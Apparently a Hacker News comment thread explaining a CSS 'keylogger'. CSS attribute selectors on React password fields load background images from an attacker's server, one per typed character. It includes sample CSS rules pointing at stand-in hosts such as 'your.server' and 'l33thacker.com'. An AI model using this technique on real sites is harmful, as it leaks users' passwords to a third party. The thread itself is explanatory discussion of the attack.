The input has to have the "value" set in the HTML. https://jsfiddle.net/tdwsw6zo/4/

Well, yes of course but that's simply an attribute selector parsing the raw HTML.

This can be done with any attribute:

<input type="password" hackernews="isthebestwebsite">

input[type="password"][hackernews$="isthebestwebsite"] { background-image: url("http://placehold.it/15x15?text=h4x0r"); }

That's not a keylogger at all, the data is already printed in the HTML source.

the point is that react updates the attribute every time you type a character into the password field. So if you have the rules for background-image: url("http://your.server/a"); for password fields that END with 'a', and a rule background-image: url("http://your.server/b"); for password fields that END with 'b', if you type "ab", after the a, the value attribute is updated and the css will request the background for passwords that end with 'a', then when you type b, the attribute is updated again and the css will request the password for 'b's. so you check your server logs and you will have 2 requests, one for a and one for b. you now know that they typed "ab".

Most people in the comments don't seem to understand how this works.

i.e. you don't need to have rules for all possible passwords, just one for each character.

Your background-image url must be an endpoint that can process a request. Simply, requesting a placehold.it/a image is pointless, but sending to l33thacker.com/a, assuming that l33thacker.com knows how to process that request maliciously, will work.

But you would still see the network call to placehold.it/ if it actually worked.

It can be done manually. Send the request to a server you control and check the logs. It doesn't scale well but it would work fine for a targeted attack.